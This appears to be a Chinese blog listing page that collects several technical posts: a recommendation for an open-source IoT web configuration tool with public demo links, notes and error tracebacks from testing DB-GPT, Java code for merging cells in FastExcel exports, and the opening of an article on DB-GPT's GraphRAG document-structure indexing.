wenmo8 发布的文章

前言

快速发展的物联网(IoT)领域,设备管理和监控的需求日益增长。为了满足这一需求并提供更高效的解决方案。

向大家推荐一款强大的开源物联网Web组态软件。这款软件不仅具备灵活的可视化配置功能,还提供了丰富的工具和接口,轻松实现设备集成、数据监控和远程管理。

项目介绍

一拖一拽,自建大屏,云组态,可以广泛应用于化工、石化、制药、冶金、建材、市政、环保、电力等几十个行业。

功能概述

基本编辑功能

  • 复制、粘贴、删除
    :支持基本的编辑操作。
  • 置顶、对齐
    :提供元素的层级管理和对齐工具。
  • 旋转、组合、锁定、格式刷
    :增强编辑灵活性和效率。

文件管理与操作

  • 导入、导出、撤销、恢复
    :确保文件操作的安全性和便捷性。
  • 预览、保存、拖拽布局
    :简化项目管理和展示。
  • 自建大屏、生成离线部署包
    :支持创建自定义大屏幕展示和离线部署。

即时通讯与设备控制

  • MQTT 实时通讯
    :实现即时通讯和设备控制指令下发。
  • COAP 协议支持
    :扩展协议兼容性。

3D 模拟与渲染

  • 内置3D模拟器
    :支持 Three.js 渲染,提供逼真的3D效果。

工业应用与资源库

  • 近五千工业组态图
    :丰富的图形资源库,满足各种需求。
  • 设备地图、设备管理
    :可视化设备位置和状态。
  • 报警管理、工单管理、短信管理
    :全面的运维管理功能。
  • 图库管理、数据中心
    :集中管理和分析数据。

自定义配置

  • 自定义报警、短信、图库配置
    :根据需求灵活配置。
  • 自定义协议解析引擎
    :集成不同厂家的协议。
  • 定时管理
    :设定定时任务和自动化流程。
  • 自定义图表配置
    :个性化图表展示。
  • 自定义组件开发
    :开发专属的 Vue 组件。
  • 自定义脚本解析
    :通过 JavaScript 实现复杂逻辑和协议集成。

高级功能

  • VR 全景组件
    :构建360° VR场景。
  • 公众号报警推送
    :通过微信公众号推送报警信息(需申请)。
  • 积木报表
    :自定义报表设计和导出。
  • 固件升级、视频监控
    :提升设备管理和安全性。
  • 打包部署
    :导出 Vue 的
    dist
    文件,方便部署。

项目技术栈

1、框架与平台

若依框架
:依托于成熟的若依框架,满足中小企业的开发需求,提供高效、稳定的后端支持。

2、移动端开发

微信小程序和安卓APP
:基于 UniApp 开发,实现一次编写、多端运行,显著提高开发效率和维护便利性。

3、2D 云组态

Vue + Element UI
:采用 Vue.js 和 Element UI 构建,符合大众开发习惯,提供直观易用的界面设计和丰富的组件库,简化前端开发流程。

4、3D 云组态编辑器

Three.js
:基于 Three.js 开发,需要具备 Three.js 开发经验,支持创建复杂而逼真的3D场景和动画效果,适用于高级可视化应用。

5、实时通讯

MQTT
:利用 MQTT 协议实现设备与云组态之间的即时通讯,确保毫秒级响应速度,保障数据传输的实时性和可靠性。

6、数据存储

MySQL 和 TaosDB
:结合 MySQL 关系型数据库和 Taos 时序数据库,支持亿级数据分析,确保高效的数据处理和存储能力。TaosDB 特别适合处理大规模时间序列数据,如物联网设备产生的海量数据。

项目效果

1、登录页面

2、系统首页

3、实现预览界面的即时通讯

4、数据可视化

5、 ‌远程控制

物联云组态

  • 物联云组态(企业版)
    体验账号:csdn 123456
    http://81.68.197.219:10071
  • 物联云组态(组态版)
    体验账号:csdn 123456
    http://81.68.197.219:11060
  • 3D组态体验网址
    体验账号:admin admin
    http://81.68.197.219:10075
  • Gitee地址(组态编辑器未开源)
    https://gitee.com/cl799807906/webTopo

项目地址

Gitee:
https://gitee.com/cl799807906/webTopo

文档地址:
https://www.yuque.com/longlong-jtoqy/wzqn3q/webtopo

总结

以上仅展示了物联云组态的部分功能。更多实用特性和详细信息,请大家访问项目地址。

希望通过本文能为云组态开发提供有价值的参考。欢迎在评论区留言交流,分享您的宝贵经验和建议。

最后

如果你觉得这篇文章对你有帮助,不妨点个赞支持一下!你的支持是我继续分享知识的动力。如果有任何疑问或需要进一步的帮助,欢迎随时留言。

也可以加入微信公众号
[DotNet技术匠]
社区,与其他热爱技术的同行一起交流心得,共同成长!
优秀是一种习惯,欢迎大家留言学习!

1.DB-GPT支持的功能

image

2.配置StarRocks数据库

image

  1. 支持多种数据库链接
  2. 但是只支持一个
    库访问
    查询

3. ChatBI

image

  1. 数据准确性不够精准,如果用于生产需要做相关优化
  2. 查询可能会做大SQL查询,拖死web进程,无法响应

4. APP创建使用

dbgpt app install awel-flow-web-info-search
dbgpt app install awel-flow-example-chat
dbgpt app install awel-flow-simple-streaming-chat

安装可能因为网络问题报错,多执行几次就好了

5. 元数据库配置

 LOCAL_DB_TYPE=mysql
 LOCAL_DB_USER=
 LOCAL_DB_PASSWORD=
 LOCAL_DB_HOST=127.0.0.1
 LOCAL_DB_PORT=3306
 LOCAL_DB_NAME=dbgpt

6. API 调用探索

6.1 app

app chat api 模型替换

sk-xxx
https://dashscope.aliyuncs.com/compatible-mode/v1
llm model: qwen-long

6.2 datasources

1.list datasources api error

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "D:\software\PyCharm 2023.3.5\plugins\python\helpers-pro\pydevd_asyncio\pydevd_nest_asyncio.py", line 120, in run
    return loop.run_until_complete(task)
  File "D:\software\PyCharm 2023.3.5\plugins\python\helpers-pro\pydevd_asyncio\pydevd_nest_asyncio.py", line 211, in run_until_complete
    return f.result()
  File "C:\Users\jack\AppData\Local\Programs\Python\Python310\lib\asyncio\futures.py", line 201, in result
    raise self._exception.with_traceback(self._exception_tb)
  File "C:\Users\jack\AppData\Local\Programs\Python\Python310\lib\asyncio\tasks.py", line 232, in __step
    result = coro.send(None)
  File "C:\Users\jack\PycharmProjects\dbgpt-test\api\datasource.py", line 12, in list_ds
    res = await list_datasource(client=client)
  File "C:\Users\jack\PycharmProjects\dbgpt-test\.venv\lib\site-packages\dbgpt\client\datasource.py", line 120, in list_datasource
    raise ClientException(f"Failed to list datasource: {e}")
dbgpt.client.client.ClientException: (Failed to list datasource: (E0003)
Reason: {'success': False, 'err_code': 'E0003', 'err_msg': "1 validation errors:\n  {'type': 'model_attributes_type', 'loc': ('response', 'data'), 'msg': 'Input should be a valid dictionary or object to extract fields from', 'input': [DatasourceServeResponse(id=1, db_type='mysql', db_name='dbgpt_test', db_path='', db_host='', db_port=3306, db_user='', db_pwd='', comment='')]}\n", 'data': None}
)
Reason: None

6.3 Knowledge

  1. 通过调用create_space接口失败但是创建了多个空间

image

  1. 调用delete_space 删除不了空间
Traceback (most recent call last):
  File "C:\Users\jack\PycharmProjects\dbgpt-test\api\knowledge.py", line 39, in <module>
    asyncio.run(delete())
  File "C:\Users\jack\AppData\Local\Programs\Python\Python310\lib\asyncio\runners.py", line 44, in run
    return loop.run_until_complete(main)
  File "C:\Users\jack\AppData\Local\Programs\Python\Python310\lib\asyncio\base_events.py", line 649, in run_until_complete
    return future.result()
  File "C:\Users\jack\PycharmProjects\dbgpt-test\api\knowledge.py", line 24, in delete
    res = await delete_space(client=client, space_id='2')
  File "C:\Users\jack\PycharmProjects\dbgpt-test\.venv\lib\site-packages\dbgpt\client\knowledge.py", line 75, in delete_space
    raise ClientException(f"Failed to delete space: {e}")
dbgpt.client.client.ClientException: (Failed to delete space: (E0003)
Reason: {'success': False, 'err_code': 'E0003', 'err_msg': "1 validation errors:\n  {'type': 'none_required', 'loc': ('response', 'data'), 'msg': 'Input should be None', 'input': SpaceServeResponse(id=2, name='test_space', vector_type='Chroma', desc='for client space', context=None, owner='dbgpt', sys_code=None, domain_type=None)}\n", 'data': None}
)
Reason: None

space delete error invalid space name:test_space_abc

image

7. 问题总结

  1. 可能会生成大查询SQL,导致查询卡死,响应非常慢
  2. gbt任务会影响界面请求,gbt任务出问题会导致请求响应超时
  3. 目前Chat data 、DB等响应还不够准确,可能跟模型有关?
  4. 知识库创建的elsticsearch 卡片删除不掉
  5. 无法强制杀死正在运行中的对话任务

8. 贡献的PR

[1]
https://github.com/eosphoros-ai/DB-GPT/pull/1794
[2]
https://github.com/eosphoros-ai/DB-GPT/pull/1784
[3]
https://github.com/eosphoros-ai/DB-GPT/pull/1789


使用FastExcel数据导出:官网:
https://idev.cn/fastexcel/zh-CN

需求

信用代码、填报人,唯一时,将:信用代码、单位名称、填报人,进行 row 合并,并垂直居中对齐
image

思路

这边不需要做列合并,所以采用了 RowWriteHandler
思路,

  • 指定唯一值,根据某个或多个单元格确定相当的数据行(代码中的 ExcelCellMergeStrategy. uniqueCol)
  • 判断当前行的唯一列的数据和上一行是否相等,如果相等继续,要合并的行数 mergeCount + 1
  • 如果当前行和上一行不相等,说明前面的数据需要做合并处理了。同时将当前行做为下一次待合并的起始行

实现

Excel导出单元格全量合并策略

package com.vipsoft.handler;


import cn.idev.excel.write.handler.RowWriteHandler;
import cn.idev.excel.write.metadata.holder.WriteSheetHolder;
import cn.idev.excel.write.metadata.holder.WriteTableHolder;

import org.apache.poi.ss.usermodel.*;

import org.apache.poi.ss.util.CellRangeAddress;

import java.util.ArrayList;
import java.util.List;

/**
 * Excel导出单元格全量合并策略
 */
public class ExcelCellMergeStrategy implements RowWriteHandler {

    private int mergeRowIndex;//从哪一行开始合并
    private List<Integer> mergeColumnIndex = new ArrayList<>();//excel合并的列
    private int[] uniqueCol;//合并的唯一标识,根据指定的列,确定数据是否相同
    private int totalRow;//总行数

    private int lastRow;
    private int firstCol;
    private int lastCol;
    private int firstRow;

    private int mergeCount = 1;

    /**
     * @param mergeRowIndex
     * @param mergeColIndex 支持范围如:0-3,6,9
     * @param uniqueCol     唯一标识,1列或多列 数据组成唯一值
     * @param totalRow      总行数(从0开始):List.size -1  + 跳过的表头
     */
    public ExcelCellMergeStrategy(int mergeRowIndex, Object[] mergeColIndex, int[] uniqueCol, int totalRow) {
        this.mergeRowIndex = mergeRowIndex;
        for (Object item : mergeColIndex) {
            if (item.toString().contains("-")) {
                String[] spCol = item.toString().split("-");
                int start = Integer.parseInt(spCol[0]);
                int end = Integer.parseInt(spCol[1]);
                for (int i = start; i <= end; i++) {
                    mergeColumnIndex.add(i);
                }
            } else {
                int colIndex = Integer.parseInt(item.toString());
                mergeColumnIndex.add(colIndex);
            }

        }
        this.uniqueCol = uniqueCol;
        this.totalRow = totalRow;
    }

    @Override
    public void beforeRowCreate(WriteSheetHolder writeSheetHolder, WriteTableHolder writeTableHolder, Integer rowIndex, Integer relativeRowIndex, Boolean isHead) {

    }

    @Override
    public void afterRowCreate(WriteSheetHolder writeSheetHolder, WriteTableHolder writeTableHolder, Row row, Integer relativeRowIndex, Boolean isHead) {

    }

    @Override
    public void afterRowDispose(WriteSheetHolder writeSheetHolder, WriteTableHolder writeTableHolder, Row row, Integer relativeRowIndex, Boolean isHead) {
        //当前行
        int curRowIndex = row.getRowNum();
        //每一行的最大列数
        short lastCellNum = row.getLastCellNum();
        //当前行为开始合并行时,标记
        if (curRowIndex == mergeRowIndex) {
            //赋初值 第一行
            firstRow = curRowIndex;
        }
        //开始合并位置
        if (curRowIndex > mergeRowIndex && !row.getCell(0).getStringCellValue().equals("")) {
            for (int i = 0; i < lastCellNum; i++) {
                if (mergeColumnIndex.contains(i)) {
                    //当前行号 当前行对象 合并的标识位
                    mergeWithPrevAnyRow(writeSheetHolder.getSheet(), curRowIndex, row, uniqueCol);
                    break;//已经进入到合并单元格操作里面了,执行一次就行
                }

            }
        }
    }

    public void mergeWithPrevAnyRow(Sheet sheet, int curRowIndex, Row row, int[] uniqueCol) {
        Object currentData = "";
        Object preData = "";
        for (int col : uniqueCol) {
            currentData = currentData + row.getCell(col).getStringCellValue();
            Row preRow = row.getSheet().getRow(curRowIndex - 1);
            preData = preData + preRow.getCell(col).getStringCellValue();
        }

        //判断是否合并单元格
        boolean curEqualsPre = currentData.equals(preData);
        //判断前一个和后一个相同 并且 标识位相同
        if (curEqualsPre) {
            lastRow = curRowIndex;
            mergeCount++;
        }
        //excel过程中合并
        if (!curEqualsPre && mergeCount > 1) {
            mergeSheet(firstRow, lastRow, mergeColumnIndex, sheet);
            mergeCount = 1;
        }

        //excel结尾处合并
        if (mergeCount > 1 && totalRow == curRowIndex) {
            mergeSheet(firstRow, lastRow, mergeColumnIndex, sheet);
            mergeCount = 1;
        }
        //重置下一个要合并的行
        if (!curEqualsPre) {
            firstRow = curRowIndex;
        }

    }

    private void mergeSheet(int firstRow, int lastRow, List<Integer> mergeColumnIndex, Sheet sheet) {
        for (int colNum : mergeColumnIndex) {
            firstCol = colNum;
            lastCol = colNum;
            CellRangeAddress cellRangeAddress = new CellRangeAddress(firstRow, lastRow, firstCol, lastCol);
            sheet.addMergedRegion(cellRangeAddress);

            // 设置合并后的单元格样式为垂直居中
            CellStyle style = sheet.getWorkbook().createCellStyle();
            style.setVerticalAlignment(VerticalAlignment.CENTER);
            //style.setAlignment(HorizontalAlignment.CENTER);
            Cell mergedCell = sheet.getRow(firstRow).getCell(colNum, Row.MissingCellPolicy.CREATE_NULL_AS_BLANK);
            mergedCell.setCellStyle(style);
        }
    }
}

日期格式转换

EasyExcel => FastExcel ,导入支持多种时间格式

package com.vipsoft.base.util;

import java.text.SimpleDateFormat;
import java.time.LocalDate;
import java.time.ZoneId;
import java.time.ZonedDateTime;
import java.time.format.DateTimeFormatter;
import java.util.Date;

import cn.idev.excel.converters.Converter;
import cn.idev.excel.enums.CellDataTypeEnum;
import cn.idev.excel.metadata.GlobalConfiguration;
import cn.idev.excel.metadata.data.ReadCellData;
import cn.idev.excel.metadata.data.WriteCellData;
import cn.idev.excel.metadata.property.ExcelContentProperty;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

/**
 * 日期格式转换器
 */
public class ExcelDateConverter implements Converter<Date> {
    private static final Logger log = LoggerFactory.getLogger(ExcelDateConverter.class);
    // 定义所有要尝试的日期格式
    SimpleDateFormat[] formats = {
            new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"),
            new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"),
            new SimpleDateFormat("yyyy/MM/dd"),
            new SimpleDateFormat("yyyy-MM-dd"),
            new SimpleDateFormat("yyyy-MM"),
            new SimpleDateFormat("yyyy/MM"),
            new SimpleDateFormat("yyyyMMdd")
    };

    @Override
    public Class<Date> supportJavaTypeKey() {
        return Date.class;
    }

    @Override
    public CellDataTypeEnum supportExcelTypeKey() {
        return CellDataTypeEnum.STRING;
    }


    @Override
    public Date convertToJavaData(ReadCellData<?> cellData, ExcelContentProperty contentProperty,
                                  GlobalConfiguration globalConfiguration) throws Exception {
        String cellValue = "";
        if (cellData.getType().equals(CellDataTypeEnum.NUMBER)) {
            long cellIntValue = cellData.getNumberValue().longValue();
            if (cellIntValue > 19900100) {
                try {
                    // 1. 第一种解析,传入的是数字形式的日期,形如yyyyMMdd
                    SimpleDateFormat originalFormat = new SimpleDateFormat("yyyyMMdd");
                    return originalFormat.parse(String.valueOf(cellIntValue));
                } catch (Exception e) {
                    log.warn("exception when parse numerical time with format yyyyMMdd");
                    cellValue=String.valueOf(cellIntValue);
                }
            }

            // 2. 第二种解析, excel是从1900年开始计算,最终通过计算与1900年间隔的天数计算目标日期
            LocalDate localDate = LocalDate.of(1900, 1, 1);

            //excel 有些奇怪的bug, 导致日期数差2
            localDate = localDate.plusDays(cellIntValue - 2);

            // 转换为ZonedDateTime(如果需要时区信息)
            ZonedDateTime zonedDateTime = localDate.atStartOfDay(ZoneId.systemDefault());
            return Date.from(zonedDateTime.toInstant());
        } else if (cellData.getType().equals(CellDataTypeEnum.STRING)) {
            // 3. 第三种解析
            Date date = null;
            cellValue = cellData.getStringValue();
            for (SimpleDateFormat format : formats) {
                try {
                    date = format.parse(cellValue);
                    if (date != null) {
                        // 这一步是将日期格式化为Java期望的格式
                        return date;
                    }
                } catch (Exception e) {
                    // 如果有异常,捕捉异常后继续解析
                    //log.error(e.getMessage(), e);
                }
            }
        }
        // 没转成功,抛出异常
        throw new UnsupportedOperationException("The current operation is not supported by the current converter." + cellValue);
    }


    @Override
    public WriteCellData<?> convertToExcelData(Date value, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) throws Exception {
        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
        String dateValue = sdf.format(value);
        return new WriteCellData<>(dateValue);
    }
} 

接口代码

导出代码

package com.vipsoft.api.controller;

import cn.hutool.core.util.ObjectUtil;
import cn.hutool.core.util.StrUtil;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.util.Map;

/**
 * 企业信息
 */
@RestController
@RequestMapping("/detail")
public class CooperationDetailController extends BaseController {


  /**
     * 企业信息
     * 
     * @return
     */
    @PostMapping("/export")
    public void exportInfo(HttpServletRequest request, HttpServletResponse response, @RequestBody Map<String, Object> param) {
        try {
            Page page = buildPage(param, CooperationInfo.class);
            QueryWrapper<SysOrganization> queryWrapper = buildQueryWrapper(SysOrganization.class, param);            
            cooperationDetailService.exportInfo(response, queryWrapper);
        } catch (Exception ex) {
            logger.error(ex.getMessage(), ex);
        }
    }
}

Service

@Service
public class SysOrganizationServiceImpl extends ServiceImpl<SysOrganizationMapper, SysOrganization> implements ISysOrganizationService {

    @Override
    public void exportInfo(HttpServletResponse response, QueryWrapper<SysOrganization> queryWrapper) {
        String templateFileName = "";
        try {
            templateFileName = cuworConfig.getFilePath() + "/template/企业导出模板.xlsx";
            response.setContentType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet");
            response.setCharacterEncoding("utf-8");
            // 这里URLEncoder.encode可以防止中文乱码 当然和 FastExcel 没有关系
            String fileName = URLEncoder.encode("企业数据", "UTF-8").replaceAll("\\+", "%20");
            response.setHeader("Content-disposition", "attachment;filename*=utf-8''" + fileName + ".xlsx");
            //获取要导出的数据 DTO
            List<SysOrganizationExcelDTO> dataList = data(queryWrapper);
            int mergeRowIndex = 2;                      // 从那一行开始合并  -- 跳过表头
            int[] uniqueCol = {0, 7};                  //根据指定的列,确定相同的数据
            Object[] mergeColIndex = {"0-1", 6, 7};    //需要合并的列
            int totalRow = dataList.size() - 1 + mergeRowIndex;
            // 这里需要设置不关闭流
            ExcelCellMergeStrategy excelCellMergeStrategy = new ExcelCellMergeStrategy(mergeRowIndex, mergeColIndex, uniqueCol, totalRow);
            FastExcel.write(response.getOutputStream(), SysOrganizationExcelDTO.class)
                    .needHead(false)
                    .withTemplate(templateFileName)
                    .autoCloseStream(Boolean.FALSE)
                    .registerWriteHandler(excelCellMergeStrategy) //合并单元格
                    .sheet("企业数据")
                    .doWrite(dataList);
        } catch (Exception e) {
            // 重置response
            response.reset();
            response.setContentType("application/json");
            response.setCharacterEncoding("utf-8");
            //异常时,向前端抛出 JSON 
            ApiResult result = new ApiResult(6001, "下载文件失败 " + templateFileName + " " + e.getMessage());
            try {
                response.getWriter().println(PojoUtil.pojoToJson(result));
            } catch (IOException ex) {
                logger.error(ex.getMessage(), ex);
                throw new CustomException(ex.getMessage());
            }
        }
    }

    /**
     * 获得要到出的数据
     */
    private List<SysOrganizationExcelDTO> data(QueryWrapper<SysOrganization>  queryWrapper) {
        IPage list = this.page(new Page(1, 10000), queryWrapper);
        List<SysOrganizationExcelDTO> result = new ArrayList<>();
        for (Object obj : list.getRecords()) {
            if (obj instanceof SysOrganization) {
                SysOrganization item = (SysOrganization) obj;
                SysOrganizationExcelDTO info = new SysOrganizationExcelDTO(); 
                BeanUtils.copyProperties(item, info); 
                //组装数据
                result.add(info);
            }
        }
        return result;
    }
}  

DTO

package com.vipsoft.base.dto;


import cn.idev.excel.annotation.ExcelIgnore;
import cn.idev.excel.annotation.ExcelProperty;
import cn.idev.excel.annotation.format.DateTimeFormat;
import com.vipsoft.base.util.ExcelDateConverter;

import java.io.Serializable;
import java.util.Date;

/**
 * Excel 导出使用
 */
public class SysOrganizationExcelDTO implements Serializable {

    /**
     * 统一社会信用代码
     */
    //@ExcelProperty(value = "统一社会信用代码")
    @ExcelProperty(index = 0)
    private String unifiedSocialCode;

    /**
     * 机构名称
     */
    @ExcelProperty(index = 1)
    private String orgName; 

    /**
     * 岗位大类名称
     */
    @ExcelProperty(index = 2)
    private String jobBigName;
    /**
     * 岗位中类名称
     */
    @ExcelProperty(index = 3)
    private String jobMiddleName;
    /**
     * 岗位小类名称
     */
    @ExcelProperty(index = 4)
    private String jobSmallName;
    /**
     * 岗位数量
     */
    @ExcelProperty(index = 5)
    private Integer jobQty;
	
    /**
     * 填报日期*
     */
    @ExcelProperty(index = 6, converter = ExcelDateConverter.class)
    private Date inputDate;
    /**
     * 填报人
     */
    @ExcelProperty(index = 7)
    private String inputUser;

    ......省略get set
 
}

作者:陈梓康

众所周知,GraphRAG将文档内容抽取为知识图谱三元组后,实际上仅保留了关联性知识信息,因此不可避免地会丢失原文的一些内容细节。在对数据完整度要求严格的业务场景,如金融、医疗、保险等行业,这是不希望看到的结果。为了解决此类业务诉求,我们将文档结构信息引入GraphRAG链路,以解决知识抽取后原文信息损失的问题。同时,我们也从端到端优化了GraphRAG链路,大幅提升了知识图谱的构建和检索性能。

1. 摘要

GraphRAG 是一个创新的知识检索与问答增强框架,它巧妙地结合了图数据库技术与检索增强生成(RAG)方法。GraphRAG 往往在处理复杂数据关系任务上取得比传统 RAG 更好地效果,是当下 LLM 领域热门的工程方向之一。

作为 DB-GPT 万星开源项目的重要组件之一,蚂蚁自研的 GraphRAG 近期获得了显著的性能提升——改进的 GraphRAG 在原有的社区摘要增强和混合检索支持的基础上,新增了文档结构(Document Structure)索引,进一步提升了知识图谱的丰富度和知识召回的完备性。同时,继续兼容基于 AntV G6 引擎和 TuGraph 引擎的知识图谱的酷炫渲染,GraphRAG 让文档中的复杂数据关系一目了然。

本文将详细介绍 DB-GPT GraphRAG 系统的最新技术改进,重点包括文档结构索引的创新实现、知识图谱构建的效率优化,以及多维检索机制带来的效果提升。通过与业界标杆的对比测试,验证了优化方案在降低资源消耗的同时,保持了知识表示的完整性和准确性。文章同时展示了实际应用案例,为读者提供了直观的技术参考。

2. 知识图谱构建

2.1 文档结构图谱

2.1.1 文档解析

为提升文档解析的精确度,我们对 Markdown 格式文件实现了增强支持。系统通过识别标准格式文档中的标题层级符号(如"#"、"##"等),将文档智能切分为多个独立的文本块(content block, 简称 chunk)。这种结构化解析方法不仅保留了原始内容的完整性,更重要的是准确捕获了内容之间的层级关系。

基于这些层级关系,我们构建了一个有向图结构:

  • 每个节点代表一个文本块(chunk)。
  • 边的类型分为两种(有向边):
    • next:连接同一层级的相邻文本块,表示内容的顺序关系。
    • include:连接不同层级的文本块,表示上下级包含关系。

为了直观展示文档结构解析的过程,让我们通过一个具体的示例来理解这个机制,考虑以下 Markdown 文档片段:

# 机器学习基础
## 监督学习
### 分类算法
### 回归算法
## 无监督学习
### 聚类算法

这个文档会被切分成以下文本块(用[...]表示具体内容):

  • chunk1: "# 机器学习基础 [...]"
  • chunk2: "## 监督学习 [...]"
  • chunk3: "### 分类算法 [...]"
  • chunk4: "### 回归算法 [...]"
  • chunk5: "## 无监督学习 [...]"
  • chunk6: "### 聚类算法 [...]"

同时,这些文本块(chunk)之间存在着两种有向关系(包含 include、连接 next):

  • include 边:chunk1 包含 chunk2 和 chunk5;chunk2 包含 chunk3 和 chunk4;chunk5 包含 chunk6。
  • next 边:chunk2 连接 chunk5;chunk3 连接 chunk4。

2.1.2 文档结构图谱构建

自然地,得益于文本块(chunk)之间的有向关系,可以将文件结构组织为有向图。顺便,将其写入到知识图谱(基于 TuGraph 底座)。如图所示,在图的上半部分,其中的节点可以是文件的一个内容分片/文本块(chunk,紫色节点),边则代表了文本块(chunk)之间在原文档中的结构关系。

通俗地说,Document 1 就像一本教程的主目录,它通过包含(include)关系连接到不同的章节(Chunk 1、2、3)。每个章节又可以包含(include)更具体的知识点(Entity)。同时,通过 next 关系,我们能清晰地看到学习的推荐顺序。

2.2 三元组图谱

完成文档结构图构建后,下一个关键步骤是通过语义理解提取文档中的知识实体与关系,构建结构化知识图谱。我们采用了创新的"上下文增强"方法,通过多维度信息融合提升知识抽取的准确性。

2.2.1 相似文本块检索

  • 对于每个待处理的文本块(chunk),我们首先通过向量相似度检索找到语义相近的其他 top k 个文本块(chunk)。
  • 这些相似的文本块将作为补充上下文,帮助 LLM 更好地理解当前内容。

2.2.2 三元组知识抽取

  • 将当前文本块和相关上下文一起作为一个请求,并发送到 LLM 服务端。
  • 基于更丰富的上下文,LLM 能够更准确地识别和抽取出知识三元组。
  • 抽取的结果遵循 【entity】--(relation)->【entity】的标准格式。

2.2.3 并发抽取优化

  1. 文本块的三元组抽取是相对独立的进程,因此,我们采用并发的形式来批次执行进程。
  2. 考虑到三元组知识抽取任务的特点:
    • 各文本块之间的处理相互独立。
    • 计算过程无共享状态。
    • 任务粒度适中。
  3. 我们实现了基于文本块的并发处理机制:
    • 通过批处理方式,平衡并发数量和 LLM 调用资源。
    • 从而,实现了处理速度和资源利用的最优平衡。
  4. 该提出的并发优化方案取得了显著的性能提升:任务处理时间降低至原有耗时的 20%。这种五倍的性能提升充分证明了并发策略在大规模知识抽取场景下的效果。在实际运行中,我们也观察到了两个主要的性能瓶颈:
    • LLM 并发请求限制
      • 大语言模型的 API 通常对并发请求数有严格限制。
      • 即使系统能够并行处理更多任务,也会受限于 API 的调用配额。
    • Token 生成速率限制
      • LLM 服务对每分钟生成的 token 总量有明确上限。
      • 这种限制直接影响了系统的最大处理吞吐量。

这些限制是由 LLM 服务的基础架构决定的,超出了我们的 GraphRAG 框架的优化范围。不过,这也为我们指明了未来的优化方向:

- 探索模型部署的弹性伸缩方案。
- 研究请求批处理的智能调度策略。
- 优化 token 使用效率(比如,精简系统提示词等等)。

“上下文增强”方法的优势在于:

  • LLM 能够获得更全局的知识视角,不会被单个文本块的局部信息所限制。
  • 通过上下文的补充,能够建立起更准确的实体关系。
  • 最终形成的知识图谱质量更高,关系更加准确和完整。

例如,当处理一个关于“深度学习”的文本块(chunk)时,通过检索相似内容,LLM 可以(通过系统支持的相似度算法)同时看到“神经网络结构”、“反向传播算法”等在意义上相似的文本块(chunk),从而帮助 LLM 更准确地抽取出三元组/实体之间的关系,如: 【深度学习】--(使用)->【反向传播算法】; 【神经网络】--(是)->【深度学习模型】。

至此,加上前文提到的文档结构,我们拓展了 GraphRAG 对于 Graph 的定义范畴:

其中,

  • 三元组有向图(Triplets Graph):捕获实体间语义关系。
  • 文档结构图(Document Structure Graph):保持知识层级结构。

这种图结构不仅仅绘制了一张“知识地图”,还为 LLM 顺藤摸瓜式地依据 entity 回溯到原始文本块(chunk)提供了可能性。在未来,我们或许构建一个更加复杂、覆盖更加全面的信息的图,支持更加复杂的检索算法。

2.3 社区摘要总结

为了更好地宏观地、全局地理解和组织图谱中的知识,我们引入了社区层面的知识总结和归纳机制。这个过程分为三个关键步骤:

2.3.1 社区发现

GraphRAG 默认采用 Leiden 算法进行社区检测。它以其高效和准确的特点著称,该算法能够:

  • 自动发现知识实体间的紧密关联群组。
  • 在保持社区内部联系紧密的同时,确保社区间边界清晰。
  • 适应性地确定合适的社区规模。

2.3.2 社区文本化

对于每个识别出的社区,我们进行了系统的信息提取(即,图的展开过程):

  • 收集社区内所有实体的属性信息、提取实体间的关系描述。
  • 将图结构信息转换为结构化文本表示。

2.3.3 社区总结

基于文本化的社区信息,我们通过以下步骤生成社区摘要:

  • 调用 LLM 分析社区的核心主题和关键概念,生成凝练的社区主题描述(使用并发处理社区摘要总结功能)。
  • 将摘要信息持久化存储,便于后续检索和分析。

因此,得益于文档结构+三元组结构,以及社区摘要总结,新版的 GraphRAG 不仅提供了知识图谱的局部视角,帮助人们发现知识间的紧密联系,还为知识图谱的应用提供了更高层次的语义理解基础。

2.4 图数据建模

在设计 GraphRAG 数据持久化的阶段,我们选择了 TuGraph 作为底层存储引擎。同时,在原来的图模型(Graph Schema)的基础上,新设计了一套完整的图模型,使得图谱表达、存储和索引文档结构的部分。因此,新的图模型具备如下特点:

  1. 完整保留文档的层级结构。
  2. 清晰表达文本块之间的关系。
  3. 支持三元组知识实体的关联表示。

2.4.1 点类型

GraphRAG 定义了三种基本的节点类型:

  1. document
    :表示文档对象
    • 核心属性:id、name。
    • 可选属性:community_id(用于社区划分)。
  2. chunk
    :表示文档的文本块
    • 核心属性:id、name。
    • 可选属性:community_id(用于社区划分)、content(块的具体内容)。
  3. entity
    :表示知识实体
    • 核心属性:id、name
    • 可选属性:community_id(用于社区划分)、description(实体描述)。

2.4.2 边类型

为了准确表达节点之间的关系,GraphRAG 定义了五种特定的边类型:

  1. 包含关系边:
    • document_include_chunk
      :文档包含文本块。
    • chunk_include_chunk
      :文本块间的层级包含。
    • chunk_include_entity
      :文本块包含知识实体。
  2. 顺序关系边:
    • chunk_next_chunk
      :文本块之间的顺序关系。
  3. 语义关系边:
    • relation
      :三元组实体之间的语义关系。

每种边类型都包含基本属性(id、name)和可选的描述信息(description)。对于实体间的关系边,GraphRAG 还额外记录了 chunk_id,用于追踪关系的来源上下文。

基于这种建模方式,我们不仅实现了文档的结构化存储,还为后续的知识图谱构建和语义分析打下了基础。

3. 知识图谱检索

知识图谱的构建为智能检索奠定了基础,但如何高效地检索和利用这些结构化知识仍面临诸多挑战。我们设计了一套多层次的检索框架,通过融合不同维度的知识表示,实现精准且全面的信息获取。

3.1 关键词抽取

首先,GraphRAG 需要准确理解用户的查询意图。通过调用 LLM 实现查询解析:用户输入 Query -> 关键词。比如,提取出关键的搜索词:“机器学习”、“入门”、“基础”、“教程”等。

3.2 局部检索:三元组图谱检索

基于提取的关键词,我们首先通过简单的图查询语句,定位到相关的知识实体(entity)和文本块(chunk)。次后,GraphRAG 凭借图的多跳遍历,探索实体之间的关联关系,获取更多的关联信息。

